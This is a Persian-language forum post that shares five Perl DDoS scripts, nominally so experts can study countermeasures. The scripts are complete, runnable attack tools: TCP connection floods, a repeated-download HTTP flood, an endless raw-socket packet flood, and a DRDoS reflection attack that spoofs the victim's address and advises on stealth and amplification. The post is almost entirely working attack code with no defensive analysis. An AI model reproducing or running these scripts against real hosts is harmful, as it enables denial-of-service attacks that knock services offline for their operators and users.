تاپیک به مدته خوابه !!!!
چند تا اسکریپت پرل دیداس برای بررسی توسط اساتید و پیدا کردن روش مقابله !
1
#!/usr/bin/perl
use IO::Socket;
if(!defined($ARGV[2])){
print "Dos Target : ";
$host = <STDIN>;
chop ($host);
print "Port : ";
$port = <STDIN>;
chop ($port);
print "SYN Requests to send : ";
$num = <STDIN>;
chop ($num);
}
if(defined($ARGV[2])){
$host = $ARGV[0];
$port = $ARGV[1];
$num = $ARGV[2];
}
for ($i=0; $i<$num; $i++)
{
$len = length $form;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || die "Can't Connect,It May The Server Dose
d?.\n";
syswrite STDOUT, "SYN Request: $i\n";
}
print "\n\nEnd Of NitStorm\n\n\n";
print "Press Enter To Exit...";
$end = <STDIN>;
chop ($end);
2
#!/usr/bin/perl
use LWP::Simple;
print q{
================================================== ===============================
################################################## ###############################
================================================== ===============================
######################## Frist Name Of The God ########################
#################### Quantum Digital Security Team ###################
################### Pri8 dDoSer Script (Bw ****er) ####################
########################## Coded By Pejvak ###########################
================================================== ===============================
################################################## ###############################
================================================== ===============================
};
$ARGC=@ARGV;
print("Plz Insert File On The Host Victem Example(http://Qn2.Org/file.rar)\n");
print("Address File = ");
$addressfile=(<stdin>);
chop ($addressfile);
print("\nPlz Insert Requast Number Example( 20 )\n");
print("Number = ");
$timenumber=(<stdin>);
chop ($timenumber);
print("\nDDoS Started!!!");
$i=0;
while($i<$timenumber){
$i=$i+1;
getstore($addressfile,rand(10).".Qn2");
print("\n@");
}
print("\n Check Ping Site Vistem ");
print("Yes To Check Or No To Exit = ");
$yn=(<stdin>);
chop ($yn);
if($yn=="yes"){
system('ping '."$addressfile");
}
print("\n===========================Done========== =================\n");
print("=========================================== ====================\n");
print("================ Quantum Digital Security Team ==================\n");
print("============================ By Pejvak ============================\n");
print("========= Special TnX For Nashenas , Neo , R3d.W0rm , Ali57 , Cair3x =========\n");
3
#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "\n";
printf " --== PRIV8 DDOSER TOOL==-- \n\n";
printf "$0 <ip> <port> <time>\n\n";
printf "Example : <ip> <port> 0\n";
printf "Example : <ip> <port> 2 \n\n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(SOCK1, PF_INET, SOCK_DGRAM, 17);
socket(SOCK2, PF_INET, SOCK_RAW, 2);
socket(SOCK3, PF_INET, SOCK_RAW, 1);
socket(SOCK4, PF_INET, SOCK_RAW, 6);
$iaddr = inet_aton("$ip");
printf "Attack Start ... $ip\n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packet;
}
if ($ARGV[1] ==2 && $ARGV[2] ==2) {
goto randpacket;
}
packet:
for(;;) {
$size=$rand x $rand x $rand;
send(SOCK1, 0, $size, sockaddr_in($port, $iaddr));
send(SOCK2, 0, $size, sockaddr_in($port, $iaddr));
send(SOCK3, 0, $size, sockaddr_in($port, $iaddr));
#send(SOCK4, 0, $size, sockaddr_in($port, $iaddr));
}
randpacket:
for(;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000)+1;
for($i = 3; $i <= 255; $i++) {
next if $i == 6;
socket(SOCK5, PF_INET, SOCK_RAW, $i) or next;
send(SOCK5, 0, $size, sockaddr_in($port, $iaddr));
}
}
randpackets:
for(;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(SOCK1, 0, $size, sockaddr_in($port, $iaddr));
send(SOCK2, 0, $size, sockaddr_in($port, $iaddr));
send(SOCK3, 0, $size, sockaddr_in($port, $iaddr));
#send(SOCK4, 0, $size, sockaddr_in($port, $iaddr));
}
4
#!/usr/bin/perl
#
# ~written by whoppix (c) 2007~
# This Piece of software may be freely (re-)distributed under the Terms of the LGPL.
# for a short usage type ./script --help
# this program requires: perl, Net::RawIP (depends on libpcap), Getopt::Long
# (which should be shipped along with your perl core distribution)
# if you want to gain a deeper understanding about how DRDoS works, have a look at:
# http://www.grc.com/dos/drdos.htm
# This program is written for testing and researching purposes only.
#
use warnings;
use strict;
use Net::RawIP;
use Getopt::Long;
my $verbose = '0';
my $syn_count = '1';
my $victim = '127.0.0.1';
my @lists = ();
my $net = new Net::RawIP;
GetOptions(
'verbose+' => \$verbose,
'syn_count=s' => \$syn_count,
'list=s' => \@lists,
'help' => \&usage,
);
$victim = shift @ARGV;
if ( !$victim ) {
die "Error: No target specified, use --help\n";
}
if ( !@lists ) {
die "Error: You have to specify at least one reflector list, use --help\n";
}
foreach my $file (@lists) {
if ( !-e $file ) {
die "File does not seem to exist: $file\n";
}
}
print "Starting attack on target $victim.\n";
print "press Ctrl-C to interrupt at any time.\n" if $verbose >= 1;
while (1) {
foreach my $listfile (@lists) {
print "Loading reflector file: $listfile\n" if $verbose >= 1;
open( my $list, "<", $listfile )
or die "Error opening file for reading: $listfile\n";
while (<$list>) {
chomp;
if ( check_format($_) ) {
my $counter = $syn_count;
my $reflector = $_;
my ( $ip, $port ) = split( ':', $reflector );
print "reflector ip: $ip, reflector port: $port\n"
if $verbose > 1;
for ( my $counter = $syn_count; $counter > 0; $counter-- ) {
print "attacking using reflector: $reflector\n"
if $verbose > 1;
my $rand = int( rand(65535) );
while ( $rand == 0 ) {
print
"random number calculated for SRCPORT was zero, retrying...\n"
if $verbose > 1;
$rand = int( rand(65535) );
}
print "random port used for SRCPORT: $rand\n"
if $verbose > 1;
$net->set(
{ ip => {
saddr => $victim,
daddr => $ip,
},
tcp => {
source => $rand,
dest => $port,
syn => 1,
},
}
);
$net->send();
}
}
else {
print
"mirror \"$_\" not in correct format (ip:port) omitting...\n"
if $verbose >= 1;
}
}
}
}
sub usage {
print "\nusage:\n\n";
print "--help\t\t: youre reading it\n";
print
"--verbose\t: makes the script more verbose. can be used several times to increase verbosity.\n";
print "--list\t\t: used to specify a reflectorlist.\n";
print
"\t\texample: ./script --list list1.txt --list list2.txt --list list3.txt 127.0.0.1\n";
print
"\t\tthe more (and longer) lists you have, the better will the result be, and the more stealth you will gain.\n";
print
"--syn_count\t: used to set the syn_count to a special value. default is 1.\n";
print "\t\tdon't use too much - that would decrease your stealth. Default (and that should be fine) is 1.\n";
print "\nGeneral information:\n";
print "The usage of multiple lists can increase your stealth.\n";
print "The more Mirrors or \"reflectors\" you use, the better will the result be.\n";
print "The better the bandwidth of your mirrors is, the better will the result be.\n";
print "Generally spoken is the bandwidth you use to flood your victim amplified by the factor 3-4.\n\n";
die "\n";
}
sub check_format { # a function to check the ip:port format.
no warnings;
my $address = shift;
my ( $ip, $port ) = split( ':', $address );
my @octets = split( '\.', $ip );
if ( $port < 1 or $port > 65535 ) {
print "port $port too high or low\n" if $verbose >= 1;
return;
}
if ( @octets != 4 ) {
print "ip has invalid number of octetts: $ip\n" if $verbose >= 1;
return;
}
foreach my $octet (@octets) {
if ( $octet < 0 or $octet > 255 ) {
print "octet is invalid: $octet\n" if $verbose >= 1;
return;
}
}
print "VALID!\n" if $verbose > 1;
return 1;
}
5
#!/usr/bin/perl
use IO::Socket;
print q(
########--->>> DATA ir D.O.S Attacker (V 1.0.0) <<<---########
Usage : Perl named.pl <host> <port>
Examp : Perl ddoser.pl 127.0.0.1 80
);
my $host= shift;
my $port= shift;
if ($host!=null){
printf ("\n\t\t . . . . . . Attack Started . . . . . . .\n\n\n");
sleep (2);
for ($i=0; ;$i--)
{
$len = length $form;
$get = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || redo;
syswrite STDOUT, ".";
}
}
else
{exit(0);}